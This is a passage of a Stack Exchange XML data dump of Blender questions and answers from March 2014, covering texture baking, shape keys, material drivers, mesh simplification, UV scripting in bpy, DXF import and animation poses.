here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCq02.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Well, the multiply node seems to be what I needed for this, thanks, here is a test that that uses more diverse colors.  The strip on the left is the Cycles bake output done the way things are normally done and the strip to the right uses the compositor node to combine the original colors with the diffuse shader node output.  Both look identical so this all works.(except for the weird margin problem but that's off-topic)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the right is the scene, the center cube was baked.&lt;img src=&quot;https://i.stack.imgur.com/ted56.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-03-07T00:49:51.790" LastActivityDate="2014-03-07T00:49:51.790" Title="How can I combine two colored textures so that the final image is blended to match a specific lighting setup" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7529" PostTypeId="2" ParentId="7527" CreationDate="2014-03-05T01:39:47.733" Score="4" Body="&lt;p&gt;It is not possible to convert a fluid simulation to shape keys. The fluid sim is in essence creating a new mesh every frame. Even though it looks like it is a mesh changing a tiny bit from frame to frame, it is not. Shape keys blend between two meshes that have the same vertex count, also they need to have the same vertex order, but they will technically still work even if the order is messed up. Since the vertex count from frame to frame changes you cannot convert a baked fluid simulation to shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should simulate the two together as a single simulation because the results of one sim being simulated with interaction to another after the one is already simulated is not going to look very realistic anyway.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-05T01:51:53.183" LastActivityDate="2014-03-05T01:51:53.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostTypeId="2" ParentId="7292" CreationDate="2014-03-05T05:22:09.163" Score="2" Body="&lt;p&gt;A driver is the only way I can think to access the object dimensions from a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a simple material example -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBUuB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a driver to the field in a value node. Either right-click and select Add Driver or press &lt;kbd&gt;D&lt;/kbd&gt; while the cursor is over the field. Setup the driver as -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0JFb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Driver settings are shown in the properties panel of the Graph Editor when Drivers is selected in the header. This then mixes between the two diffuse nodes based on the dimension[0] value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pt1vg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LiDtF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; that auto-run python scripts needs to be enabled for drivers to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously that is also rather rigid to the dimensions of one object. The &lt;strong&gt;Expr:&lt;/strong&gt; of the driver can be any valid python, not sure of the path but there should be a way to go from the node with the driver to the parent object to choose the dimension value, which would be a more flexible way to use one material on multiple objects. I haven't had any luck accessing active_object in a driver.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-05T05:22:09.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7532" PostTypeId="1" CreationDate="2014-03-05T05:23:48.823" Score="2" ViewCount="1066" Body="&lt;p&gt;Hello there Blender community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a Blender noob and am helping a mate come up with a solution for a work of art that he is putting together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we are going to create a 3D model of a scale plasticine replica of the final work using &lt;a href=&quot;http://en.wikipedia.org/wiki/Photogrammetry&quot; rel=&quot;nofollow&quot;&gt;photogrammetry&lt;/a&gt;. From there we'd like to mesh the model with triangles that will directly represent steel rods that will be welded together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I'd like to know is whether Blender is going to be a suitable package to optimise the number and geometry of the triangles over the model so that for a given triangle size the number of welds and amount of material used can be reduced?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance or suggestions are greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Oliver.&lt;/p&gt;&#xA;" OwnerUserId="2687" LastActivityDate="2014-11-07T19:12:50.833" Title="Optimise triagular mesh on model for a given triangle size" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostTypeId="2" ParentId="7532" CreationDate="2014-03-05T06:15:48.937" Score="3" Body="&lt;p&gt;You can reduce face amount by using &lt;strong&gt;Decimate&lt;/strong&gt; modifier. It provides severl methods and options to simplify the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YENqH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it works more like collapsing. It is not aimed to accurately reduce by a given size or number. I don't think Blender currently support this specifically.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-05T06:15:48.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7534" PostTypeId="1" AcceptedAnswerId="7536" CreationDate="2014-03-05T06:54:10.943" Score="1" ViewCount="2374" Body="&lt;p&gt;I have a huge mesh with many-many textures and vertices. I would like to remove a material and all the faces using it (from the mesh). How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2014-03-05T07:18:38.663" Title="How to remove material and faces that are textured by it?" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7535" PostTypeId="2" ParentId="7528" CreationDate="2014-03-05T06:59:08.350" Score="1" Body="&lt;p&gt;Basic node trees would be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9s2r0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27303&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Composite node will only output based on Scene size set in &lt;strong&gt;Render&lt;/strong&gt; tab. If you want to output full-size composite result, you have to use File Output node.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mask&lt;/strong&gt; node is sort of a trick to apply the transform result without being limited by the original image size. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-05T07:34:21.673" LastActivityDate="2014-03-05T07:34:21.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostTypeId="2" ParentId="7534" CreationDate="2014-03-05T07:10:20.550" Score="2" Body="&lt;p&gt;In &lt;em&gt;EDIT MODE&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one face having assigned the material to remove.&lt;/li&gt;&#xA;&lt;li&gt;Select -&gt; Similar (&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt;) -&gt; Material&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_similar(type='MATERIAL', threshold=0.01)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The operator has a few option you see in the left panel left:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m2kdq.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/PP7ff.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-05T07:18:38.663" LastActivityDate="2014-03-05T07:18:38.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7537" PostTypeId="1" CreationDate="2014-03-05T07:10:36.920" Score="1" ViewCount="421" Body="&lt;p&gt;I am exporting from Illustrator to a DXF, and when I open this in a DXF viever the lines are ok. Then I imported the DXF in Blender, but I see that many curves are flattened. See the images below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustrator file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LzqrJ.png&quot; alt=&quot;Illustrator file&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender import:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ocwac.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import a DXF into blender, without the curves/lines being flattened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sendspace.com/filegroup/E5inSQ0f32cW4nL8PXL4pA&quot; rel=&quot;nofollow noreferrer&quot;&gt;DXF and AI file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2651" LastEditorUserId="2651" LastEditDate="2014-03-05T16:47:34.803" LastActivityDate="2014-03-05T16:47:34.803" Title="Importing a DXF into blender, exported from illustrator" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostTypeId="1" AcceptedAnswerId="7552" CreationDate="2014-03-05T09:29:05.083" Score="1" ViewCount="1364" Body="&lt;p&gt;In Softimage we have Netrual Pose, it simple set position/rotation/scale to 0 without moving pivot or object self. It just offset your object. I see that in Blender is Delta Transform, so I copy Transform values to Delta transform and set Transform to 0 0 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works as I need, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is there better workflow for copy values? Shortcuts, script ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If I Clear Value, it also Clear my Delta, but I need only Transform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks that I will need some scripts for this workflow, but maybe there is better ....&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2014-03-06T02:02:00.673" Title="Neutral pose for animation" Tags="&lt;animation&gt;&lt;transforms&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7540" PostTypeId="1" CreationDate="2014-03-05T11:02:05.730" Score="1" ViewCount="37" Body="&lt;p&gt;I have this Problem in Blender.&#xA;After Pressing the smooth button in object mode, it creates a black line, which i think is shadow, around my object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/kN4t2h5&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/kN4t2h5.png&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to image: (If above image doesn't display)&#xA;&lt;a href=&quot;https://imgur.com/kN4t2h5&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/kN4t2h5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2692" LastActivityDate="2014-03-05T11:02:05.730" Title="Black Lines After pressing smooth" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-03-05T12:53:08.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="7541" PostTypeId="2" ParentId="7532" CreationDate="2014-03-05T11:17:23.020" Score="0" Body="&lt;p&gt;Try the remesh modifier. Taking any mesh as input, it builds it from scratch with cubes or pyramids. You can't directly control the size of the building blocks, you have to go around the setting &quot;Octrree depth&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot on using it on an irregular mesh with various settings and depth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAQEv.png&quot; alt=&quot;remesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-03-05T11:17:23.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7542" PostTypeId="2" ParentId="7523" CreationDate="2014-03-05T16:54:46.687" Score="0" Body="&lt;p&gt;Fixed it! I hadn't realised I needed to click on assign twice as I had only done it once and wasn't sure why it hadn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it did end up being something simple that I'd missed&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2014-03-05T16:54:46.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7543" PostTypeId="2" ParentId="7503" CreationDate="2014-03-05T17:02:53.047" Score="12" Body="&lt;p&gt;Shortly after I posted the question, I got some help in real life (I did not know that was also a possiblity :) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, STL's do not have a unit. However, the program interpretating the STL gives it units. In my case Cura and Netfabb both interpretate my STL as mm. This would explain why I always saw the same size (unitless). Because of this, I should also create models in mm's, so I do not have to worry about Scale on STL export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want answer my own question to give some more explanation. I am not using the Scale on STL export, but I am using the scene scale. By setting the scene scale to 0.001, I can really make my model in mm's; in the properties menu I only have to think about mm's. With these settings I am able to export my model as a STL, and see it correctly in Netfabb or Cura. &lt;/p&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2014-03-05T17:02:53.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7544" PostTypeId="2" ParentId="3004" CreationDate="2014-03-05T17:10:12.453" Score="8" Body="&lt;p&gt;IMHO, the most effective way would be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the 1st case:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZqbbK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5vkdw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 3 (more effective for continuous editing):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0p82M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the 2nd, 3rd and 4th case:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select target area, then &lt;kbd&gt;I&lt;/kbd&gt; to inset, uncheck &lt;strong&gt;Boundary&lt;/strong&gt; in &lt;kbd&gt;F6&lt;/kbd&gt; panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uTnIB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5UafR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NeUgL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-06T13:29:58.237" LastActivityDate="2014-03-06T13:29:58.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostTypeId="2" ParentId="7526" CreationDate="2014-03-05T17:16:19.883" Score="4" Body="&lt;p&gt;It's all about context, at no point are you in the image editor. The same &lt;code&gt;bpy.ops.transform.translate()&lt;/code&gt; is used in the 3d view and the image editor. Basically, you could just save the current area, switch to the editor, perform transforms and switch back. Granted, there are much more elegant ways to do this but for a 3 line hack, it works quite well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#+ grab the current area&#xA;original_area = bpy.context.area.type&#xA;&#xA;scene = bpy.context.scene&#xA;for count, ob in enumerate(bpy.context.selected_objects):&#xA;    if ob.type == 'MESH':&#xA;        scene.objects.active = ob&#xA;        #+ switch to the image editor to perform transforms etc&#xA;        bpy.context.area.type = 'IMAGE_EDITOR'&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;        bpy.ops.mesh.reveal()&#xA;        bpy.ops.mesh.select_all(action='SELECT')&#xA;        #+ select the uvs&#xA;        bpy.ops.uv.select_all(action='SELECT')&#xA;&#xA;        bpy.ops.transform.translate(value=(0.125, 0, 0), constraint_axis=(True, False, False))&#xA;&#xA;        #+ return to the original mode where the script was run&#xA;        bpy.context.area.type = original_area&#xA;        bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-03-05T20:33:49.797" LastActivityDate="2014-03-05T20:33:49.797" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostTypeId="1" CreationDate="2014-03-05T17:16:30.557" Score="3" ViewCount="1707" Body="&lt;p&gt;I have created a model of a mandrill and I’ve been using particles to make the fur.&#xA;Because the fur throughout the body of a mandrill is very different, I’m duplicating parts of the whole mesh and slightly scaling them down to stay inside the big mesh. So I have a “chin&quot; mesh with one particle system, a &quot;face/top head&quot; mesh with another particle system, etc.&#xA;I guess I could use vertex groups for the same purpose, but several tutorials seem to use the duplicated-mesh-parts approach to keep the flexibility of retouching the whole mesh if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some of the particle systems - e.g. the chin - I’m getting the result I’m after.&#xA;On others - e.g. face/top head - even though the particles look fine upon creation, once I comb and render, they get a life of their own and point to different directions, clump, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recalculated the normals, checked deflect emitter and even tried applying the particle systems to vertex groups created in the whole mesh (rather than using the duplicated parts). But I’m still getting a very sad looking mandrill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2694" LastActivityDate="2014-07-12T18:54:51.377" Title="why does fur after combing act unpredictably?" Tags="&lt;particles&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7547" PostTypeId="1" CreationDate="2014-03-05T18:23:56.217" Score="1" ViewCount="151" Body="&lt;p&gt;I have a low resolution image. It is 16 by 16 pixels. I want to use this texture in cycles. When I apply this texture to a mesh it becomes blurry. This is because blender uses linear pixel blending, I would want the pixel blending to be set to closest. I see no options in cycles to change this. I want to image to look blocky, even in cycles. How can maintain the low resolution of the image? I could create a larger version of the same image, but that would be a waste of disk space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bwMs.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/ySdNx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27316&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-05T19:00:28.443" Title="How to render low resolution textures" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-03-05T20:24:21.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostTypeId="2" ParentId="2586" CreationDate="2014-03-05T19:00:28.443" Score="4" Body="&lt;p&gt;There doesn't exist a direct way to do this in Cycles yet it seems. However, a user on the ba forums has devised a node group for this, see &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?244662-Cycles-Getting-rid-of-Texture-Interpolation-yay-for-blocky-no-for-blurry!!&amp;amp;p=2303364&amp;amp;viewfull=1#post2303364&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles: Getting rid of Texture Interpolation&lt;/a&gt;, it has an attached example blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkNzd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 3d view, see &lt;a href=&quot;https://blender.stackexchange.com/questions/845/how-do-i-disable-texture-filtering?rq=1&quot;&gt;How do I disable texture filtering?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-03-05T19:00:28.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7549" PostTypeId="2" ParentId="7532" CreationDate="2014-03-05T20:07:24.410" Score="3" Body="&lt;p&gt;You can get pretty close to what I think you want by using &lt;em&gt;Dynamic topology&lt;/em&gt; sculpting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll quote &lt;a href=&quot;https://blender.stackexchange.com/a/5564/599&quot;&gt;my previous answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another option is to use &lt;em&gt;Sculpting&lt;/em&gt; with &lt;em&gt;Dynamic Topology&lt;/em&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Enter &lt;em&gt;Sculpt Mode&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Enable &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dynamic Topology&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) in &lt;em&gt;Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) &gt; Topology&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1T1R2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Set the brush tool to &lt;em&gt;Simplify&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Brush &gt; Brush Tool&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptZCu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Sculpt on the mesh to remove detail. You can adjust the &lt;em&gt;Detail Size&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool shelf &gt; Topology&lt;/em&gt; to change the level of&#xA;  detail the brush paints. Note that this value is in pixels, so it is&#xA;  view dependent. (The more you zoom out the lower the level of detail&#xA;  is)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes&quot; rel=&quot;nofollow noreferrer&quot;&gt;as of 2.71&lt;/a&gt;, there is now a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;constant detail&lt;/em&gt;&lt;/a&gt; option which is not dependent on zoom. There is also a &lt;em&gt;detail picker&lt;/em&gt;, so you can set the detail based on the density of existing faces.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Example:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QNdgd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-11-07T19:12:50.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostTypeId="1" AcceptedAnswerId="7555" CreationDate="2014-03-05T20:10:36.070" Score="3" ViewCount="355" Body="&lt;p&gt;I have two objects one Parent and one Children. I have translate animation on parent, but when I add keyframe to children, children jump to another position in playback. What I am doing wrong? In Blender I can not animate children??&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2014-03-05T20:27:32.637" LastActivityDate="2014-03-06T07:00:46.950" Title="Children animation is wrong" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7551" PostTypeId="1" CreationDate="2014-03-06T00:42:02.767" Score="2" ViewCount="295" Body="&lt;p&gt;I'm using Blender to create models for 3D printing.  Right now I'm using the spin tool to revolve a basic 3D shape around a center axis so that it create a set of overlapping identical units.  Think 24 cubes spun around the z-axis to create a ring of overlapping cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This creates 24 overlapping cubes that intersect one another as a single object.  What I need is to remove the intersected areas and create a mesh that is just the surface of this new shape, rather than multiple intersected units.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried using the Remesh modifier on the object, but it has not proved helpful.  I'm not sure if this is the correct tool for this purpose or if I am even using it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the correct way (or at least &quot;a correct way&quot;) to do this and achieve the result I am looking for? (Exterior unified mesh with no overlapping internals).&lt;/p&gt;&#xA;" OwnerUserId="2698" LastActivityDate="2014-04-05T08:01:08.723" Title="Resurfacing Mesh After Spin Operation" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7552" PostTypeId="2" ParentId="7539" CreationDate="2014-03-06T02:02:00.673" Score="1" Body="&lt;p&gt;You can first store the expected neutral pose to pose library for further use.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Object Data&lt;/strong&gt; tab,  Click &lt;img src=&quot;https://i.stack.imgur.com/xnhIx.png&quot; alt=&quot;enter image description here&quot;&gt; button in &lt;strong&gt;Pose Library&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;img src=&quot;https://i.stack.imgur.com/56mBn.png&quot; alt=&quot;enter image description here&quot;&gt; on the right-hand side to add/store pose based on current pose;&lt;/li&gt;&#xA;&lt;li&gt;Adjust the armature to the expected neutual pose;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;img src=&quot;https://i.stack.imgur.com/56mBn.png&quot; alt=&quot;enter image description here&quot;&gt; again to store it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then you can apply either one of them back to the armature object by clicking &lt;img src=&quot;https://i.stack.imgur.com/rUAk7.png&quot; alt=&quot;enter image description here&quot;&gt; on the right-hand side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yhhek.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;strong&gt;Apply Pose as Rest Pose&lt;/strong&gt;, if you want to apply the neutral pose to rest pose (the real zero transformation, not offset) by then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1by73.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-06T02:02:00.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
